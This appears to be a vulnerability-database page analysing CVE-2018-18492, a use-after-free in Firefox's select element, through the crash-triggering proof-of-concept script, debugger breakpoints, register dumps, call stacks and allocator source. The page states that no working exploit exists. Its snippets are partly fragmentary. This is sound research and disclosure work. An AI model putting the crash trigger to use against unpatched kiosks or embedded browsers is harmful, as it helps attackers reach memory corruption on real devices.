Attacker Value
(2 users assessed)
(2 users assessed)
User Interaction
Privileges Required
Attack Vector

CVE-2018-18492: Mozilla Firefox Select Element Use-After-Free

Disclosure Date: February 28, 2019 Last updated February 13, 2020
Add MITRE ATT&CK tactics and techniques that apply to this CVE.


Firefox is a free and open-source web browser developed by the Mozilla Foundation.

A use-after-free vulnerability can occur after deleting a selection element due to a weak reference to the select element in the options collection, which gets garbage collected, and results in a potentially exploitable crash. Originally, it was discovered by Nils.

Add Assessment

  • Attacker Value
  • Exploitability
Technical Analysis

Given Firefox’s strong-armed autoupdater, it would be unlikely that a client workstation is still exploitable. However, the vulnerability reaches way back (into 2015), meaning kiosks and embedded devices are likely another story, especially if they’re using read-only storage to boot each time. These devices would likely be publicly-accessible and network-connected, but would require an attacker to be physically present or to gain control of the resource that the organization configures the kiosk to use.

Technical Analysis

The vulnerability is easy enough to reproduce. A use-after-free vulnerability can occur after deleting a selection element due to a weak reference to the select element in the options collection, which gets garbage collected, and results in a potentially exploitable crash.
However, it seems jemalloc’s free chunk poisoning feature makes it tricky to gain control of the freed select element, therefore making exploitation more difficult in theory. Currently, there are no known working exploit in public.


Firefox is a free and open-source web browser developed by the Mozilla Foundation.

A use-after-free vulnerability can occur after deleting a selection element due to a weak reference to the select element in the options collection, which gets garbage collected, and results in a potentially exploitable crash. Originally, it was discovered by Nils.

Vulnerable Version

Version 29 through 63 are affected. The Mozilla Firefox archive can be found here.

To check out and build the vulnerable version, you can try:

$ hg pull
$ hg update -r 12afa29e9c8cde597314f072c6f0c1f81d681b40
$ ./mach build

You may need to fix up some errors in order to build Firefox for the above commit. In my case, I ran into some Rust errors related to lack of macro documentation .


The vulnerability was patch on Nov 07 2018 by turning the HTMLSelectElement reference tracked in HTMLOptionsCollection a strong reference. It was implemented in two parts: The HTMLOptionsCollection class, and the HTMLSelectElement class. The commit can be found as:



The poc can be obtained from the Mozilla bug report #1499861:

  div = document.createElement("div");
	opt = document.createElement("option");
	div.addEventListener("DOMNodeRemoved", function() {
    sel = 0;
    new ArrayBuffer(0x0fffffff);
	sel = document.createElement("select");
	sel.options[0] = opt;

Initial Impression

After building Firefox, we attach WinDBG to it, and run it against the HTML test case. Immediately, we see a clean crash (where ESI is a reference to our select element):

0:000> r
eax=e5e5e5e5 ebx=05b1c940 ecx=09823b00 edx=05b1c940 esi=05b1c940 edi=09898b20
eip=6a64cacd esp=0058e810 ebp=0058e960 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210202
6a64cacd 8b5804          mov     ebx,dword ptr [eax+4] ds:002b:e5e5e5e9=????????

The crash also leads to a possibly exploitable condition because the CALL [EAX+4] instruction:

0:000> u
xul!nsINode::ReplaceOrInsertBefore+0x6ed [c:\mozilla-source\mozilla-central\dom\base\nsINode.cpp @ 2527]:
6a64cacd 8b5804          mov     ebx,dword ptr [eax+4]
6a64cad0 85db            test    ebx,ebx
6a64cad2 741f            je      xul!nsINode::ReplaceOrInsertBefore+0x713 (6a64caf3)
6a64cad4 8b03            mov     eax,dword ptr [ebx]
6a64cad6 53              push    ebx
6a64cad7 ff5004          call    dword ptr [eax+4]
6a64cada 89d9            mov     ecx,ebx
6a64cadc 899db8feffff    mov     dword ptr [ebp-148h],ebx

The value e5e5e5e9 indicates a freed chunk being filled by the jemalloc allocator. Internally this behavior is called “poisoning”, because it allows the application to be somewhat in control of the freed chunk of memory over the attacker. The value was also carefully selected by the developers to make sure nobody can ever reach it.

The callstack for our crash also reveals where the reference might be kept:

0:000> k
 # ChildEBP RetAddr  
00 0058e960 6af72d6f xul!nsINode::ReplaceOrInsertBefore+0x6ed [c:\mozilla-source\mozilla-central\dom\base\nsINode.cpp @ 2527] 
01 0058e994 6ac37d55 xul!mozilla::dom::HTMLOptionsCollection::IndexedSetter+0x5f [c:\mozilla-source\mozilla-central\dom\html\HTMLOptionsCollection.cpp @ 155] 
02 0058e9fc 6ace7984 xul!mozilla::dom::HTMLOptionsCollection_Binding::DOMProxyHandler::setCustom+0x255 [c:\mozilla-source\mozilla-central\obj-i686-pc-mingw32\dom\bindings\HTMLOptionsCollectionBinding.cpp @ 989] 
03 0058ea60 6c74ef37 xul!mozilla::dom::DOMProxyHandler::set+0x34 [c:\mozilla-source\mozilla-central\dom\bindings\DOMJSProxyHandler.cpp @ 255] 
04 0058eab8 6c855224 xul!js::Proxy::set+0x127 [c:\mozilla-source\mozilla-central\js\src\proxy\Proxy.cpp @ 450] 
05 0058edf8 6c853996 xul!Interpret+0x1724 [c:\mozilla-source\mozilla-central\js\src\vm\Interpreter.cpp @ 3328] 
06 0058ee80 6c85f24a xul!js::RunScript+0x196 [c:\mozilla-source\mozilla-central\js\src\vm\Interpreter.cpp @ 447] 
07 0058eee0 6c85f399 xul!js::ExecuteKernel+0xfa [c:\mozilla-source\mozilla-central\js\src\vm\Interpreter.cpp @ 813] 
08 0058ef30 6c561970 xul!js::Execute+0xe9 [c:\mozilla-source\mozilla-central\js\src\vm\Interpreter.cpp @ 845] 
09 0058ef54 6c561b2a xul!ExecuteScript+0x60 [c:\mozilla-source\mozilla-central\js\src\vm\CompilationAndEvaluation.cpp @ 394] 
0a 0058ef98 6c561a34 xul!ExecuteScript+0xea [c:\mozilla-source\mozilla-central\js\src\vm\CompilationAndEvaluation.cpp @ 415] 
0b 0058efa8 6a658689 xul!JS_ExecuteScript+0x14 [c:\mozilla-source\mozilla-central\js\src\vm\CompilationAndEvaluation.cpp @ 436] 
0c 0058efcc 6b4a1b4a xul!nsJSUtils::ExecutionContext::CompileAndExec+0x69 [c:\mozilla-source\mozilla-central\dom\base\nsJSUtils.cpp @ 254] 
0d 0058f160 6b4a06c9 xul!mozilla::dom::ScriptLoader::EvaluateScript+0x7ca [c:\mozilla-source\mozilla-central\dom\script\ScriptLoader.cpp @ 2415] 
0e 0058f1a8 6b49fce4 xul!mozilla::dom::ScriptLoader::ProcessRequest+0x239 [c:\mozilla-source\mozilla-central\dom\script\ScriptLoader.cpp @ 2036] 
0f 0058f268 6b499821 xul!mozilla::dom::ScriptLoader::ProcessInlineScript+0x564 [c:\mozilla-source\mozilla-central\dom\script\ScriptLoader.cpp @ 1636] 
10 0058f520 6b499280 xul!mozilla::dom::ScriptLoader::ProcessScriptElement+0x551 [c:\mozilla-source\mozilla-central\dom\script\ScriptLoader.cpp @ 1356] 
11 0058f554 6a15c3e1 xul!mozilla::dom::ScriptElement::MaybeProcessScript+0x160 [c:\mozilla-source\mozilla-central\dom\script\ScriptElement.cpp @ 141] 
12 0058f570 6a15ae9f xul!nsHtml5TreeOpExecutor::RunScript+0x101 [c:\mozilla-source\mozilla-central\parser\html\nsHtml5TreeOpExecutor.cpp @ 742] 
13 0058f5bc 6a15dd9c xul!nsHtml5TreeOpExecutor::RunFlushLoop+0x40f [c:\mozilla-source\mozilla-central\parser\html\nsHtml5TreeOpExecutor.cpp @ 544] 
14 0058f5c4 6994f087 xul!nsHtml5ExecutorFlusher::Run+0x1c [c:\mozilla-source\mozilla-central\parser\html\nsHtml5StreamParser.cpp @ 125] 
15 0058f604 6995a53f xul!mozilla::SchedulerGroup::Runnable::Run+0x27 [c:\mozilla-source\mozilla-central\xpcom\threads\SchedulerGroup.cpp @ 337] 
16 0058fb10 6995c6b6 xul!nsThread::ProcessNextEvent+0x60f [c:\mozilla-source\mozilla-central\xpcom\threads\nsThread.cpp @ 1246] 
17 0058fb34 69d28494 xul!NS_ProcessNextEvent+0x56 [c:\mozilla-source\mozilla-central\xpcom\threads\nsThreadUtils.cpp @ 530] 
18 0058fb5c 69d0580d xul!mozilla::ipc::MessagePump::Run+0xe4 [c:\mozilla-source\mozilla-central\ipc\glue\MessagePump.cpp @ 97] 
19 0058fb94 69d05776 xul!MessageLoop::RunHandler+0x6d [c:\mozilla-source\mozilla-central\ipc\chromium\src\base\ @ 319] 
1a 0058fbb4 6b540055 xul!MessageLoop::Run+0x46 [c:\mozilla-source\mozilla-central\ipc\chromium\src\base\ @ 299] 
1b 0058fbc4 6b594e3f xul!nsBaseAppShell::Run+0x25 [c:\mozilla-source\mozilla-central\widget\nsBaseAppShell.cpp @ 160] 
1c 0058fbe0 6c4688d7 xul!nsAppShell::Run+0xaf [c:\mozilla-source\mozilla-central\widget\windows\nsAppShell.cpp @ 420] 
1d 0058fbf8 69d287d8 xul!XRE_RunAppShell+0x37 [c:\mozilla-source\mozilla-central\toolkit\xre\nsEmbedFunctions.cpp @ 939] 
1e 0058fc10 69d0580d xul!mozilla::ipc::MessagePumpForChildProcess::Run+0x18 [c:\mozilla-source\mozilla-central\ipc\glue\MessagePump.cpp @ 302] 
1f 0058fc48 69d05776 xul!MessageLoop::RunHandler+0x6d [c:\mozilla-source\mozilla-central\ipc\chromium\src\base\ @ 319] 
20 0058fc68 6c468729 xul!MessageLoop::Run+0x46 [c:\mozilla-source\mozilla-central\ipc\chromium\src\base\ @ 299] 
21 0058fd68 6c470fc1 xul!XRE_InitChildProcess+0x7c9 [c:\mozilla-source\mozilla-central\toolkit\xre\nsEmbedFunctions.cpp @ 769] 
22 0058fd7c 00f114f6 xul!mozilla::BootstrapImpl::XRE_InitChildProcess+0x11 [c:\mozilla-source\mozilla-central\toolkit\xre\Bootstrap.cpp @ 69] 
23 0058fee8 00f111cd firefox!NS_internal_main+0x286 [c:\mozilla-source\mozilla-central\browser\app\nsBrowserApp.cpp @ 301] 
24 0058ff14 00f467bb firefox!wmain+0x1cd [c:\mozilla-source\mozilla-central\toolkit\xre\nsWindowsWMain.cpp @ 143] 
25 0058ff5c 746f8674 firefox!__scrt_common_main_seh+0xfa [d:\agent\_work\4\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl @ 288] 
26 0058ff70 77c05e17 KERNEL32!BaseThreadInitThunk+0x24
27 0058ffb8 77c05de7 ntdll!__RtlUserThreadStart+0x2f
28 0058ffc8 00000000 ntdll!_RtlUserThreadStart+0x1b

In source, the crash occurs at this line:

nsINode::ReplaceOrInsertBefore(bool aReplace, nsINode* aNewChild,
                               nsINode* aRefChild, ErrorResult& aError)
  mozAutoDocUpdate batch(GetComposedDoc(), true); // Crash

In-Depth Analysis

The Sequential Order

Debugging a use-after-free in a browser is not exactly a straight forward task, because typically a bug like this involves multiple event handlers, where browsers tend to have trouble with. A strategy for this is try to understand the events in a sequential order, and one approach for that is by printing debugging messages for each JavaScript line (plus others if you\’re particularily interested in different things), and see what the debugger tells you.

The breakpoints I used:

bu xul!js::math_sin ".printf \"[Sin Message] %ma\\n\", poi(poi(esp+c)+10)+ 8; g"
bu xul!NS_NewHTMLSelectElement+0x17 ".printf \"Select Element = 0x%p\\n\", eax; g"
bu xul!js::math_cos
bu xul!mozilla::dom::HTMLOptionsCollection::IndexedSetter "r; g"
bu xul!js::ArrayBufferObject::class_constructor+0x13b ".printf \"ArrayBuffer=0x%p Size=0x%08x\\n\", eax, poi(ebp-0x2c); g"
bu xul!NS_NewHTMLOptionElement+0x10 ".printf \"Option Element = 0x%p\\n\", eax; g"

Another trick I also did was break-on-write on the select element after creation. Knowing that the select element is freed and later poisoned by jemalloc, the break-on-write technique would allow us to find when those happen:

[Sin Message] Creating select element
Select Element = 0x064f8040
0:000> ba w4 064f8040

Our modified test case customized for those breakpoints:

  Math.sin("Creating div element");
  div = document.createElement("div");
  Math.sin("Creating option element");
  opt = document.createElement("option");
  Math.sin("Append option");
  Math.sin("Adding listener");
  div.addEventListener("DOMNodeRemoved", function() {
    sel = 0;
    Math.sin("new ArrayBuffer");
    new ArrayBuffer(0xfffffff);
  Math.sin("Creating select element");
  sel = document.createElement("select");
  Math.sin("Setting option");
  sel.options[0] = opt;

By running the above test case, we got our sequence of events. I\’d like to explain them in two stages, where the second is where things get more hairy for Firefox, eventually causing to fail.

The Setup Stage

  1. DIV element is created.

  2. OPTION element is created.

  3. OPTION element appends to the DIV element.

  4. The DOMNodeRemoved listener for the DIV element is added.

  5. The SELECT element is created. This is also when a mSelect weak reference is created:

   // In dom\html\HTMLOptionsCollection.cpp
   // line 34
   // The callstack for this would be:
   // 00 xul!mozilla::dom::HTMLOptionsCollection::HTMLOptionsCollection
   // 01 xul!mozilla::dom::HTMLSelectElement::HTMLSelectElement
   // 02 xul!NS_NewHTMLSelectElement
   // 03 xul!CreateHTMLElement
   HTMLOptionsCollection::HTMLOptionsCollection(HTMLSelectElement* aSelect)
     // Do not maintain a reference counted reference. When
     // the select goes away, it will let us know.
     mSelect = aSelect;

The Bug Triggering Stage

After the setup stage, the following events happen and finally get us a crash:

  1. The SELECT element\’s options at index 0 is set with the Option element.
  2. In the event handler, the SELECT element is set to 0.
  3. A new ArrayBuffer with size 0x0fffffff is created.
  4. An alert pops up.
  5. Firefox crashes.

First off, the DOMNodeRemoved event handler for the DIV element is triggered. This condition occurs when the Option element is being assigned as a member to a select element:

sel.options[0] = opt;

Under the hood, this means we\’re asking the index setter in the HTMLOptionsCollection to kick in, which causes nsContentUtils::MaybeFireNodeRemoved to fire like this callstack shows:

Breakpoint 7 hit
eax=08715060 ebx=00000000 ecx=08730401 edx=00000001 esi=000000fb edi=087304c0
eip=6a89c870 esp=006fe814 ebp=006fe970 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200206
6a89c870 55              push    ebp
0:000> k
 # ChildEBP RetAddr  
00 006fe810 6a9bc4bf xul!nsContentUtils::MaybeFireNodeRemoved [c:\mozilla-source\mozilla-central\dom\base\nsContentUtils.cpp @ 4689] 
01 006fe970 6b2e2d6f xul!nsINode::ReplaceOrInsertBefore+0xdf [c:\mozilla-source\mozilla-central\dom\base\nsINode.cpp @ 2335] 
02 006fe9a4 6afa7d55 xul!mozilla::dom::HTMLOptionsCollection::IndexedSetter+0x5f [c:\mozilla-source\mozilla-central\dom\html\HTMLOptionsCollection.cpp @ 155] 
03 006fea0c 6b057984 xul!mozilla::dom::HTMLOptionsCollection_Binding::DOMProxyHandler::setCustom+0x255 [c:\mozilla-source\mozilla-central\obj-i686-pc-mingw32\dom\bindings\HTMLOptionsCollectionBinding.cpp @ 989] 
04 006fea70 6cabef37 xul!mozilla::dom::DOMProxyHandler::set+0x34 [c:\mozilla-source\mozilla-central\dom\bindings\DOMJSProxyHandler.cpp @ 255] 
05 006feac8 6cbc5224 xul!js::Proxy::set+0x127 [c:\mozilla-source\mozilla-central\js\src\proxy\Proxy.cpp @ 450] 
06 006fee08 6cbc3996 xul!Interpret+0x1724 [c:\mozilla-source\mozilla-central\js\src\vm\Interpreter.cpp @ 3328] 
07 006fee90 6cbcf24a xul!js::RunScript+0x196 [c:\mozilla-source\mozilla-central\js\src\vm\Interpreter.cpp @ 447] 
08 006feef0 6cbcf399 xul!js::ExecuteKernel+0xfa [c:\mozilla-source\mozilla-central\js\src\vm\Interpreter.cpp @ 813] 
09 006fef40 6c8d1970 xul!js::Execute+0xe9 [c:\mozilla-source\mozilla-central\js\src\vm\Interpreter.cpp @ 845] 
0a 006fef64 6c8d1b2a xul!ExecuteScript+0x60 [c:\mozilla-source\mozilla-central\js\src\vm\CompilationAndEvaluation.cpp @ 394] 
0b 006fefa8 6c8d1a34 xul!ExecuteScript+0xea [c:\mozilla-source\mozilla-central\js\src\vm\CompilationAndEvaluation.cpp @ 415] 
0c 006fefb8 6a9c8689 xul!JS_ExecuteScript+0x14 [c:\mozilla-source\mozilla-central\js\src\vm\CompilationAndEvaluation.cpp @ 436] 

In the event listener, the first thing that happens is this line. This allows the last reference for the select element to be removed:

sel = 0;

The next that happens is these two lines:

new ArrayBuffer(0xfffffff);

The purpose of the large ArrayBuffer is to create “pressure” in order to force the garbage collector to go to work. After the alert function, the garbage collector starts cleaning up the select element by calling its destructor (found in dom\html\HTMLSelectElement.cpp):


The ~HTMLSelectElement destructor is called multiple times. Since mSelect is a weak reference, the garbage collector eventually causes the select element to be freed by jemalloc, but HTMLOptionsCollection still has a reference:

0:000> k
 # ChildEBP RetAddr  
00 006fc3e0 7448d708 VCRUNTIME140!memset+0x3c [d:\agent\_work\4\s\src\vctools\crt\vcruntime\src\string\i386\memset.asm @ 86] 
01 006fc40c 7448d510 mozglue!arena_t::DallocSmall+0x58 [c:\mozilla-source\mozilla-central\memory\build\mozjemalloc.cpp @ 3442] 
02 006fc434 7448a520 mozglue!arena_dalloc+0x60 [c:\mozilla-source\mozilla-central\memory\build\mozjemalloc.cpp @ 3530] 
03 006fc440 6b2fb498 mozglue!Allocator<MozJemallocBase>::free+0x20 [c:\mozilla-source\mozilla-central\memory\build\malloc_decls.h @ 40] 
04 006fc450 6a8f3491 xul!mozilla::dom::HTMLSelectElement::~HTMLSelectElement+0x18 [c:\mozilla-source\mozilla-central\dom\html\HTMLSelectElement.cpp @ 146] 
05 006fc45c 6a8facff xul!mozilla::dom::Attr::DeleteCycleCollectable+0x11 [c:\mozilla-source\mozilla-central\dom\base\Attr.cpp @ 100] 
06 006fc468 69c7056f xul!nsIContent::cycleCollection::DeleteCycleCollectable+0xf [c:\mozilla-source\mozilla-central\dom\base\nsIContent.h @ 75] 
07 006fc498 69c694ff xul!SnowWhiteKiller::Visit+0x19f [c:\mozilla-source\mozilla-central\xpcom\base\nsCycleCollector.cpp @ 2785] 
08 006fc4fc 69c6c80e xul!nsPurpleBuffer::VisitEntries<SnowWhiteKiller>+0x15f [c:\mozilla-source\mozilla-central\xpcom\base\nsCycleCollector.cpp @ 1106] 
09 006fc534 6a32579f xul!nsCycleCollector_doDeferredDeletionWithBudget+0x6e [c:\mozilla-source\mozilla-central\xpcom\base\nsCycleCollector.cpp @ 4389] 
0a 006fc5dc 69cd20d4 xul!AsyncFreeSnowWhite::Run+0x9f [c:\mozilla-source\mozilla-central\js\xpconnect\src\XPCJSRuntime.cpp @ 138] 

During the process, the arena_t::DallocSmall function quietly sets the freed chunk with 0xe5e5e5e5:

const uint8_t kAllocPoison = 0xe5; // Line 1228
arena_t::DallocSmall(arena_chunk_t* aChunk,
                     void* aPtr,
                     arena_chunk_map_t* aMapElm)
  arena_run_t* run;
  arena_bin_t* bin;
  size_t size;

  run = (arena_run_t*)(aMapElm->bits & ~gPageSizeMask);
  bin = run->mBin;
  size = bin->mSizeClass;
  MOZ_DIAGNOSTIC_ASSERT(uintptr_t(aPtr) >=
                        uintptr_t(run) + bin->mRunFirstRegionOffset);
    (uintptr_t(aPtr) - (uintptr_t(run) + bin->mRunFirstRegionOffset)) % size ==

  // This is where our freed memory is filled with 0xe5e5e5e5...
  memset(aPtr, kAllocPoison, size);

After the memory is freed, we\’re pretty done with the DOMNodeRemoved handler and back to the nsINode::ReplaceOrInsertBefore function that called it. Since the ReplaceOrInsertBefore function still has a mSelect reference, eventually this causes a crash while setting up for a CALL [EAX+4] call. Looking up the selet element\’s vftable, offset 4 indicates the program is trying to call the AddRef() function:

[Sin Message] Creating select element
Select Element = 0x0eefd340 <--- This appears in esi


0:000> r
eax=e5e5e5e5 ebx=0eefd340 ecx=11303100 edx=0eefd340 esi=0eefd340 edi=0eea4e80
eip=6a9bcacd esp=008fe7f0 ebp=008fe940 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210202
6a9bcacd 8b5804          mov     ebx,dword ptr [eax+4] ds:002b:e5e5e5e9=????????


6a9bcaca 8b4610          mov     eax,dword ptr [esi+10h]
6a9bcacd 8b5804          mov     ebx,dword ptr [eax+4] ds:002b:e5e5e5e9=????????
6a9bcad0 85db            test    ebx,ebx
6a9bcad2 741f            je      xul!nsINode::ReplaceOrInsertBefore+0x713 (6a9bcaf3)
6a9bcad4 8b03            mov     eax,dword ptr [ebx]
6a9bcad6 53              push    ebx
6a9bcad7 ff5004          call    dword ptr [eax+4]

Reading from the conversation between developers in the bug report, we learned that something like this in theory should have been caught easily with a fuzzer such as Domato. It just didn\’t, and the bug lived for many years.

More research time is needed to investigate how exploitation could be done.

General Information

Additional Info

Technical Analysis